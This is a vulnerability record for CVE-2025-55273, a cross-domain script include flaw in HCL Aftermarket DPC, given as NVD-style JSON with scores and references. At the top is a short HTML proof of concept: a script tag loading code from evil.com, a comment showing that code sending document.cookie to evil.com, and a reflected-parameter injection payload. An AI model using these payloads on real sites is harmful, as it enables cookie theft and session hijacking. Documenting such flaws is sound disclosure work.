CVE-2025-55273

<!-- PoC for CVE-2025-55273: Cross Domain Script Include --> <!-- Attacker hosts a malicious script at https://evil.com/steal.js --> <!-- steal.js content: fetch('https://evil.com/log?c='+document.cookie); --> <!-- The vulnerable application allows including this script --> <script src="https://evil.com/steal.js"></script> <!-- Alternatively, injecting via parameter if reflected --> <!-- Example payload: ?param=<script src=https://evil.com/steal.js></script> -->

{"cve": {"id": "CVE-2025-55273", "sourceIdentifier": "[email protected]", "published": "2026-03-26T13:16:26.883", "lastModified": "2026-03-26T20:30:24.353", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL Aftermarket DPC is affected by Cross Domain Script Include vulnerability where an attacker using external scripts can tamper with the DOM, altering the content or behavior of the application. Malicious scripts can steal cookies or session tokens, leading to session hijacking."}, {"lang": "es", "value": "HCL Aftermarket DPC está afectado por una vulnerabilidad de inclusión de scripts entre dominios donde un atacante utilizando scripts externos puede manipular el DOM, alterando el contenido o el comportamiento de la aplicación. Scripts maliciosos pueden robar cookies o tokens de sesión, lo que lleva al secuestro de sesión."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-829"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:aftermarket_cloud:1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "C71E5E64-ED4C-4763-8A74-5F9DDCFD13DA"}]}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0129793", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}